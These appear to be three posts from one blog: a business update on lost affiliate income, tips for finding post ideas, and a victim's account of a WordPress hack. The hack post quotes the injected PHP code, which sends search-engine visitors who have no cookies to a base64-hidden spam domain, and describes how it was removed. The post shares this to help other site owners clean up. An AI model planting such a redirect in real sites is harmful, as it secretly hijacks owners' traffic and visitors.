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Having a Blog Plan and Changing Direction When Needed

Clear Strategic SolutionI could title this post “How Business Went in February, April, and May” since I haven’t done an update on that since January. I could also perhaps call it a 6 month check in on my business goals for the year. Yet the most significant part of this post ended up being the complete 180 I have done when it comes to my tactics and strategies to make money online.

For the past five years or so I have made good money mostly as an affiliate. Sure I sold ads and did a couple sponsored posts here and there, but for the most part all my income came from affiliate sales. Amazon was my major earner and I got a hefty 1099 from them each year that made up the bulk of my income. And then late last year that all started to go downhill. This year it has just about bottomed out.

Why? Well, the short of it is that I am not getting a lot of search engine traffic from Google anymore, especially to old posts that used to rank really well. I figure I must have been penalized in some way. The page rank for my root domain hasn’t dropped but certain individual pages that used to rank, no longer are. Affiliate sales come from people who are motivated to buy and who are searching for specific terms. You may get some sales the day of a really epic blog post with some affiliate links in it but by and large affiliate sales stem from older posts with a high rank on the SERPs (Search Engine Results Page). It all comes down to catching the customer right before they are about to click on the “buy button” and they are about do that if they are looking for reviews and opinions about the product they have in mind. If you rank well for the terms they are searching for then you will get that business. If you are nowhere in the results then whoever is will get that business.

So I guess I got Google slapped. It could also partly be because my market and niche has gotten uber competitive in the last 1-2 years. When I started my main blog 7ish years ago I was one of the few blogging in that niche. Now there are thousands and they are damn good bloggers too. My post from fours years ago about safe, non-toxic pots and pans without chemical non-stick coatings was probably one of a couple dozen ranking on the net back then. Now bloggers are writing about this very topic daily. With so much fresh content available perhaps Google thinks my old content is no longer relevant. I am not sure exactly what has happened or why Google is working the way it is. The only thing I can do is adapt or die.

For a couple months I was blogging without a clear plan, hoping upon hope that my Google traffic would go back to what it once was. Then very recently I decided that instead of bemoaning how hard it was going to be to recoup my lost income I had to get to work and replace that income with other methods. It is entirely possible that my affiliate income may go back up to what it once was as Google does its dance and releases more updates. I cannot wait around though until it does. I had to take action. I have gone in many different directions and tried many different things (like the picture above). I am still kinda going around like that but there is a method to the madness. I have a clear plan.

It has come to me none to soon either. This month (May) I have earned only around $300 with Amazon sales. Typically anything under $1000 is bad news. Ouch! I have had zero problems replacing that income via other methods (all part of my new plan) thus far but I will have to keep that momentum going because Amazon pays on a two month delay. So the pittance I earned this month won’t technically rip a whole in my budget until July.

Success from the past month or so:

  • Emailed my lists more frequently
  • Took on several sponsored posts
  • Took on a couple sponsored video posts
  • Made some pitches to various brands and got favorable answers
  • Sold several ads
  • Discovered a new-to-me social media platform that has done wonders for my traffic, Twitter following, and Klout score.
  • Made a nice chunk of change promoting ebook bundles and a board game
  • Got an affiliate bonus for sales made in May (Shareasale)
  • Took a sponsored trip to NYC with my daughter (booyah!)

At the halfway point for the year I think I am rocking my annual goals. I need to work harder on some specific goals though, like creating new niche sites and updating existing ones. Hopefully I can start out June by doing just that.

How was your month?

6 Ways To Come Up With Blog Post Ideas When You’re Blocked

We all experience bloggers block from time to time. We just don’t have ideas for fresh content round the clock but on the flip we side we WANT to offer our subscribers the content they’ve been waiting for. If you are known for your awesome content the stress can be pretty intense. Being a blogger without nothing to write about sucks! Here are 6 ideas that’ll help get the creative juices flowing and help come up with blog posts worth reading.

1) Use Your Daily Life As Inspiration

You might not be writing a personal blog, but that doesn’t mean you can’t bring personal experience into the posts you write. If you can relate personal experience to the topics you write about, then do so. Sometimes you have to get creative, but your blog posts will be more interesting as a result!

2) Google It!

Why not Google the main topic of your blog and see what appears? You don’t want to copy any other blogs, of course, but one idea will often lead to another. Have a read around blogs in your niche – maybe even blogs outside of your niche – and see what they’re writing about. Either use this as inspiration for your own topics or write a direct response to what’s already out there. You can also skim through your RSS feed reader for post ideas.

3) Check Your Analytics

Checking your stats can leave you with a whole range of blog post ideas. Take a look at the keywords people are typing in to find your site. Chances are that some of the things they’re searching for aren’t on your blog yet. Why not use these keywords as ideas for future blog posts? You’ll also have the added benefit of knowing there’s a future audience for those posts!

4) Test Something And Post Your Results

If you’re really stuck for ideas, why not give yourself a challenge and post the results? For example, in the personal development niche this could mean making a gratitude list each day and writing about the effects. Or you could try a new fitness program and write about how you’re dealing with it. In most cases, readers in any niche love to read real life case studies!

5) Use Videos

Why not get surfing YouTube and see if there’s an interesting video you can share with your subscribers? Embed the video into a post where you give your own personal comments. This is a super-fast way to come up with content that’s still interesting.

6) Invite Readers To Ask Questions

What better way of coming up with content that your readers will enjoy than to invite them to ask questions? Write up a quick post one day asking them what they want to know, then post a follow up a few days later with all the answers. This last method is also an excellent way to connect with your audience.

Help for the anyresults.net Hack

My biggest blog was hacked recently. I “should” have caught on to it much more quickly but I didn’t. When traffic dropped by about 1000 people a day and my income majorly plummeted I started to take notice but I was at a loss as to how to explain it. I did see a serious lack of Google traffic so I thought maybe I got slapped for some reason. I don’t utilize any blackhat SEO methods but my content has been getting ripped off and republished left and right lately. My SERPs remained the same though, so I was VERY confused.

Then a blog reader mentioned to me that when she clicked on a link to my blog in the Google reader she would be redirected to a site called anyresults.net. She even researched it a bit and sent me a link to a discussion about this very issue. It is a hack affecting thousands of WordPress blogs. Basically it steals all of your search engine traffic…via AOL, Google, Yahoo, MSN, you name it. If a search result brings up a link to your site the visitor would be redirected to anyresults.net and not your site. I erased my cookies and tried it myself and sure enough I was redirected every time. I could even search for my blog by name and be redirected. By now I was FURIOUS. I lost some major moola this week because some jerk-off stole traffic that should have been mine…Adsense, affiliate income, ad networks…all were suffering.

After I started looking for solutions I also found some people saying that Google ended up banning them for redirecting to a spam site! They got hacked and then slapped…talk about and insult after injury.

To get rid of the hack I tried the “solution” found here. It was useless. Mostly this thread seems full of people who assume you were to stupid to upgrade and that is why you got hacked. I was hacked while running the latest version, 2.5.1, so there goes that theory. I looked in my MySQL database for image being used as a plugin and there wasn’t one. I also deleted this string: rss_f541b3abd05e7962fcab37737f40fad8. It did nothing. I even deactivated all plugins and the problem was still there so clearly it is NOT a plugin issue.

Just like this blogger I did find this code in my wp-blog-header.php file:

 ?php \
$seref=array(“google”,”msn”,”live”,”altavista”,”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=”1″; break; }
if($ser==”1″ && sizeof($_COOKIE)==0){ header(“Location: http://”.base64_decode(“YW55cmVzdWx0cy5uZXQ=”).”/”); exit; }?>

This is NOT supposed to be there. I deleted it but this in itself did not fix the issue. So I copied over all the files in the main WP directory with fresh, clean files and the problem was fixed. I wish I had known about this before I scoured my database and reinstalled a clean version of each plugin. Hope it helps some others affected by this attack.

While I was working this out I also added a blank index file to my plugins folder so people can’t see what plugins I am using and to find back doors. I also deleted all of my users and checked my permission settings. Hopefully my traffic will get back to normal and I can avoid further attacks…what a major pain in the neck.

Now I need to check out all my other blogs.